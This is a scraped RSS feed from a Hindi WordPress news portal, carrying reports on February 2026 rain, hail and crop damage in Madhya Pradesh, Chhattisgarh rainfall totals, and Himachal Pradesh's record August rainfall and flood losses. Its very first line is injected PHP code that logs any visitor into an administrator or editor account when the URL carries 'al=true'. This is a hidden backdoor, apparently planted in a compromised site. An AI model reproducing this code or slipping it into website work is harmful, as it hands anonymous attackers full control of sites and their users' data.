// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); rainfall – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 19 Feb 2026 07:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 भोपाल-उज्जैन सहित 20 जिलों में बारिश, फसलें प्रभावित; कृषि मंत्री ने सर्वे का ऐलान किया https://pratyushaashakinayikiran.com/?p=199143 Thu, 19 Feb 2026 07:40:00 +0000 https://pratyushaashakinayikiran.com/?p=199143 भोपाल
 मध्य प्रदेश का मौसम फरवरी के महीने में एक बार फिर करवट ले चुका है। इस साल तीसरी बार राज्य के कई जिलों में अचानक बारिश और ओलावृष्टि हुई, जिससे आम लोग और किसान दोनों ही चिंतित हैं। राजधानी भोपाल, ग्वालियर, इंदौर और उज्जैन में तेज हवाओं और गरज-चमक के साथ बौछारें हुईं। अचानक बदलाव से तापमान में गिरावट आई और रात में ठंड बढ़ गई। खेतों में खड़ी फसलें आड़ी-तिरछी गिर गईं, जिससे किसानों के चेहरे पर चिंता साफ नजर आई।

अचानक क्यों बदला मौसम

मौसम वैज्ञानिकों के अनुसार, मध्य प्रदेश में एक साइक्लोनिक सर्कुलेशन सिस्टम एक्टिव है। इसके साथ ही वेस्टर्न डिस्टर्बेंस और ट्रफ भी सक्रिय हैं, जो मौसम में अचानक बदलाव के प्रमुख कारण माने जा रहे हैं।

    18 फरवरी को राज्य के लगभग 20 जिलों में गरज-चमक के साथ बारिश और ओलावृष्टि हुई।
    भोपाल, इंदौर, ग्वालियर, उज्जैन, रतलाम और मंदसौर में दिनभर धूप खिलने के बाद अचानक मौसम बिगड़ा।
    मौसम विभाग ने ग्वालियर, भिंड, शिवपुरी, दतिया, निवाड़ी, टीकमगढ़, छतरपुर और पन्ना जिलों में अलर्ट जारी किया।

विशेषज्ञों के अनुसार, यह साइक्लोनिक सर्कुलेशन पश्चिमी राजस्थान और मध्य प्रदेश पर सक्रिय है और इसके प्रभाव से आने वाले दो दिनों में मौसम में उतार-चढ़ाव बने रहेंगे।

फरवरी महीने में यह तीसरी बार है, जब अचानक प्रदेश का मौसम बदला और बारिश की फुहारें पड़ने लगीं। अचानक हुई बारिश ने तापमान में कमी ला दी है। रुक-रुक कर हो रही बेमौसम बारिश से फसलों को भी नुकसान पहुंच रहा है। कई इलाकों में खेतों में खड़ी फसलें लेट गई हैं। बारिश के साथ ही सबसे ज्यादा नुकसान ओले गिरने से हुआ है।
इन जिलों में हुई बारिश

लगातार हो रही बारिश के कारण प्रदेश का तापमान गिरा है। एमपी के खजुराहो में सबसे कम 9.2 डिग्री सेल्सियस दर्ज किया गया है। इसके अलावा राजगढ़ में 10 डिग्री सेल्सियस और पंचमढ़ी में 10.2 डिग्री सेल्सियस दर्ज किया गया है। मौसम विभाग से मिली जानकारी के अनुसार, गुरुवार को भोपाल, बड़वानी, आगर-मालवा, सीहोर, शिवपुरी, उज्जैन, धार, दतिया, गुना, ग्वालियर, इंदौर, रतलाम, मंदसौर, मुरैना, शाजापुर और छतरपुर में बारिश दर्ज की गई है।
कैसा रहेगा अगले 2 दिन का मौसम

मौसम विभाग ने 20 फरवरी को ग्वालियर, चंबल और सागर संभाग में बारिश का अलर्ट जारी किया है। मौसम विभाग के अनुसार, तीनों संभाग के 8 जिलों में बारिश की संभावना है। बारिश के साथ ही यहां बिजली गिरने की भी आशंका है। इसके बाद 21 फरवरी को मध्य प्रदेश का मौसम साफ रहेगा। इस दौरान किसी भी जिले में बारिश की संभावना नहीं जताई गई है।

मध्य प्रदेश में लगातार हो रही बारिश के कारण किसानों की फसलों का काफी नुकसान हुआ है। गेहूं की फसलें गिर गई हैं। गेहूं की फसलें गिर जाने के कारण दाने कमजोर हुए हैं। दाने कमजोर होने की वजह से पैदावार में कमी देखने को मिल सकती है।

बारिश और ओले का असर

    बेमौसम बारिश और ओले ने आम जनता और किसानों दोनों की मुश्किलें बढ़ा दी हैं।
    राजधानी भोपाल में बादलों की तेज गड़गड़ाहट के साथ लगभग डेढ़ घंटे तक तेज और हल्की बारिश हुई।
    इंदौर, ग्वालियर, उज्जैन और रतलाम में दिनभर मौसम गर्म रहने के बाद रात को अचानक बारिश और ओले गिरे।
    ठंडी हवाओं के कारण दिन के तापमान में गिरावट आई और रात में ठंड बढ़ गई।

किसानों की चिंता:

    गेहूं, चना और सरसों जैसी फसलें कटाई के लिए तैयार थीं।
    तेज हवाओं और ओलावृष्टि से खेतों में खड़ी फसलें आड़ी-तिरछी गिर गईं।
    कुछ क्षेत्रों में फसल की गुणवत्ता और उत्पादन पर असर पड़ने की संभावना जताई गई है।
    किसानों ने प्रशासन से प्रभावित क्षेत्रों का सर्वे कराने और उचित मुआवजा देने की मांग की है।

प्रभावित जिले और अलर्ट

मौसम विभाग ने गुरुवार को आठ जिलों में बारिश और बिजली गिरने का अलर्ट जारी किया।

इन जिलों में अलर्ट जारी

ग्वालियर, भिंड, शिवपुरी, दतिया, निवाड़ी, टीकमगढ़, छतरपुर, पन्ना

इन जिलों में हुई बारिश

भोपाल, दतिया, गुना, ग्वालियर, इंदौर, रतलाम, श्योपुर, उज्जैन, धार, विदिशा, बड़वानी, आगर-मालवा, शाजापुर, मुरैना, छतरपुर, शिवपुरी, सीहोर, मंदसौर
कहां कितना रहा तापमान

बारिश और ठंडी हवाओं के चलते तापमान में उतार-चढ़ाव देखा गया। प्रदेश में खजुराहो सबसे ठंडा रहा, जहां न्यूनतम तापमान 9.2°C रिकॉर्ड किया गया। इसके अलावा राजगढ़ में 10.0°C और पचमढ़ी में 10.2°C दर्ज होने के कारण कड़ाके की ठंड का अनुभव हुआ।

इन जिलों में बारिश का अलर्ट

मौसम विभाग के अनुसार गुरुवार को ग्वालियर, भिंड, शिवपुरी, दतिया, निवाड़ी, टीकमगढ़, छतरपुर और पन्ना जिलों में बारिश और गरज-चमक की संभावना है। इससे पहले बुधवार को रतलाम, श्योपुर, मुरैना, मंदसौर, नीमच, गुना सहित 20 से अधिक जिलों में कहीं बारिश तो कहीं ओले गिरे।
दो साइक्लोनिक सिस्टम और वेस्टर्न डिस्टरबेंस का असर

सीनियर मौसम वैज्ञानिक डॉ. दिव्या ई. सुरेंद्रन के मुताबिक प्रदेश में दो साइक्लोनिक सर्कुलेशन सिस्टम और एक वेस्टर्न डिस्टरबेंस सक्रिय है। इसके अलावा एक ट्रफ लाइन भी प्रदेश से गुजर रही है, जिससे मौसम में अस्थिरता बनी हुई है।
तापमान में उतार-चढ़ाव जारी

प्रदेश में फिलहाल रात और सुबह हल्की सर्दी बनी रहेगी। ज्यादातर शहरों में रात का तापमान 10 डिग्री से ऊपर है, जबकि दिन का तापमान 30 डिग्री के पार पहुंच रहा है। कटनी का करौंदी सबसे ठंडा रहा, जहां न्यूनतम तापमान 7 डिग्री दर्ज किया गया। भोपाल, इंदौर, उज्जैन और जबलपुर में भी तापमान सामान्य से कम दर्ज हुआ।
अगले दो दिन का पूर्वानुमान

20 फरवरी को ग्वालियर, चंबल और सागर संभाग के जिलों में बारिश का अलर्ट है और बिजली गिरने की संभावना है। वहीं 21 फरवरी को मौसम साफ रहने की संभावना जताई गई है।

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प्रदेश में अब तक 1210.4 मि.मी. औसत वर्षा दर्ज https://pratyushaashakinayikiran.com/?p=185203 Mon, 13 Oct 2025 04:55:00 +0000 https://pratyushaashakinayikiran.com/?p=185203 रायपुर,

छत्तीसगढ़ में अब तक 1210.4 मि.मी. औसत वर्षा रिकार्ड की जा चुकी है। राजस्व एवं आपदा प्रबंधन विभाग द्वारा स्थापित राज्य स्तरीय बाढ़ नियंत्रण कक्ष से प्राप्त जानकारी के अनुसार प्रदेश में अब तक बस्तर जिले में सर्वाधिक 1633.3 मि.मी. वर्षा रिकार्ड की गई है। बेमेतरा जिले में सबसे कम 554.0 मि.मी. वर्षा दर्ज हुई है।

रायपुर संभाग में रायपुर जिले में 1159.6 मि.मी., बलौदाबाजार में 1004.8 मि.मी., गरियाबंद में 1233.9 मि.मी., महासमुंद में 1065.1 मि.मी. और धमतरी में 1149.6 मि.मी. औसत वर्षा दर्ज हुई है।

बिलासपुर संभाग में बिलासपुर जिले में 1205.1 मि.मी., मुंगेली में 1183.0 मि.मी., रायगढ़ में 1396.7 मि.मी., सारंगढ़-बिलाईगढ़ में 1116.1 मि.मी., जांजगीर-चांपा में 1413.5 मि.मी., सक्ती में 1274.2 मि.मी., कोरबा में 1179.3 मि.मी. और गौरेला-पेण्ड्रा-मरवाही 1112.9 मि.मी. औसत वर्षा दर्ज हुई है।

दुर्ग संभाग में दुर्ग जिले में 948.2 मि.मी., कबीरधाम में 892.0 मि.मी., राजनांदगांव में 1012.5 मि.मी., मोहला-मानपुर-अंबागढ़ चौकी में 1462.0 मि.मी., खैरागढ़-छुईखदान-गंडई में 919.1 मि.मी. और बालोद में 1317.0 मि.मी. औसत वर्षा दर्ज हुई है।

सरगुजा संभाग में सरगुजा जिले में 799.0 मि.मी., सूरजपुर में 1183.2 मि.मी., बलरामपुर में 1579.6 मि.मी., जशपुर में 1105.3 मि.मी., कोरिया में 1253.4 मि.मी. और मनेन्द्रगढ़-चिरमिरी-भरतपुर में 1138.6 मि.मी. औसत वर्षा दर्ज हुई है।

बस्तर संभाग में कोंडागांव जिले में 1213.5 मि.मी., कांकेर में 1421.6 मि.मी., नारायणपुर में 1472.6 मि.मी., दंतेवाड़ा जिले में 1622.4 मि.मी., सुकमा जिले में 1306.9 मि.मी. और बीजापुर जिले में 1615.0 मि.मी. की औसत वर्षा रिकार्ड की जा चुकी है।

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हिमाचल में रिकॉर्ड बारिश! 76 साल का टूटा रिकॉर्ड, 3056 करोड़ की संपत्ति नष्ट https://pratyushaashakinayikiran.com/?p=182394 Mon, 01 Sep 2025 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=182394 शिमला 

हिमाचल प्रदेश में इस साल अगस्त की बारिश ने 76 साल के रिकॉर्ड तोड़ डाला हैं। अगस्त में सामान्य से 68 प्रतिशत ज्यादा बादल बरसे हैं। 1949 से आज तक अगस्त में कभी भी इतनी बारिश नहीं हुई। एक से 31 अगस्त के बीच 256.8 मिलीमीटर सामान्य बारिश होती है.

मौसम विभाग के अनुसार, 1948 में 456.5 मिलीमीटर रिकॉर्ड बारिश थी। 1949 के बाद कभी भी इतनी भारी बारिश नहीं हुई। बीते 15 सालों में रिकॉर्ड बारिश 2019 में नॉर्मल से 23 प्रतिशत ज्यादा थी। अगस्त में आज तक की रिकॉर्ड बारिश 98 साल पहले यानी 1927 में 542.4 मिलीमीटर है।

कुल्लू जिला में तो सामान्य से 165 प्रतिशत अधिक यानी डबल से भी 65 प्रतिशत ज्यादा बारिश हुई है। कुल्लू में अगस्त में 180.2 मिलीमीटर सामान्य बारिश होती है, इस बार 477.5 मिलीमीटर बादल बरसे हैं।

कुल्लू के बाद शिमला जिला में भी सामान्य से 123% ज्यादा बादल बरसे हैं। शिमला में इस अवधि में 196.4 मिलीमीटर सामान्य बारिश होती है, लेकिन इस बार 438 मिलीमीटर बारिश हुई है। ऊना जिला में सामान्य से 119% ज्यादा और सोलन में सामान्य से 118% ज्यादा बारिश हुई।

4 जिलों में डबल से भी ज्यादा बारिश

प्रदेश में 4 जिले ऐसे हैं, जहां डबल से भी ज्यादा बारिश रिकॉर्ड की गई। यही भारी बारिश तबाही का बड़ा कारण है। मानसून सीजन यानी 1 जून से 31 अगस्त तक भी सामान्य से 35 प्रतिशत अधिक बारिश हो चुकी है। इस अवधि में प्रदेश में औसत सामान्य बारिश 613.8 मिलीमीटर होती है, लेकिन इस बार 826.8 मिलीमीटर बादल बरस चुके हैं।

इस साल अगस्त में ऊना जिला 2 अगस्त को सर्वाधिक 222.8 मिलीमीटर बारिश हुई है।

3056 करोड़ की संपत्ति नष्ट, 844 घर जमीदोंज

प्रदेश में इससे 3056 करोड़ रुपए की सरकारी व प्राइवेट प्रॉपर्टी नष्ट हो चुकी है। मानसून सीजन में 320 लोगों की मौत, 844 घर पूरी तरह जमींदोज, 3254 घरों को आंशिक नुकसान, 472 दुकानें और 3710 घर टूट चुके हैं।

बादल फटने की 45 घटनाओं से तबाही

प्रदेश में इस सीजन में लैंडस्लाइड की 95 बड़ी घटनाओं, बाढ़ की 91 और बादल फटने की 45 घटनाओं से बड़े पैमाने पर जान व माल का नुकसान हुआ है। इससे न केवल हिमाचल बल्कि पड़ोसी राज्य पंजाब पर भी असर पड़ा है। पंजाब के कई इलाके इससे जलमग्न हो गए और भारी नुकसान हुआ।

हिमाचल के सीएम सुखविंदर सुक्खू ने कहा कि इस मानसून सीजन में जानी नुकसान कम हुआ है। मगर संपत्ति को साल 2023 की आपदा से भी ज्यादा का नुकसान हो चुका है।

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